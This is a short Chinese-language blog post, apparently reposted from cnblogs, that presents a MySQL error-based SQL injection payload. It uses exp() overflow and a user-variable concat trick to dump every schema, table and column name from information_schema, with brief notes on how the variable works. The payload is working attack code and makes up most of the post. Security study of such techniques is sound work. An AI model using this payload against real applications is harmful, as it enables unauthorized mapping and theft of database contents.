Sql注入一种dump所有数据的方法

Select exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x));

explain:此处主要是展示一个exp报错注入的方法。但是此文中主要是学习另类的方式将tablescolumns一起dump出来,属于偶尔在老外的论坛上看见,感觉这个sql语句写的很精妙,可以直接用下面的语句输出:

select * from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@))

explain:此处将@作为一个变量,@:=0,将@等于0,换为其他的字符测试不行,比如#$等字符不可以。

     database()函数列出当前的数据库名

     select concat(@:=0,@);   输出结果为00

     table_schema,table_name,column_name能够输出源于前面定位到table_schema位置

     

微信公众号:埋头干安全 目前主要精力放在微信公众号!!!
原文地址:https://www.cnblogs.com/lcamry/p/5506056.html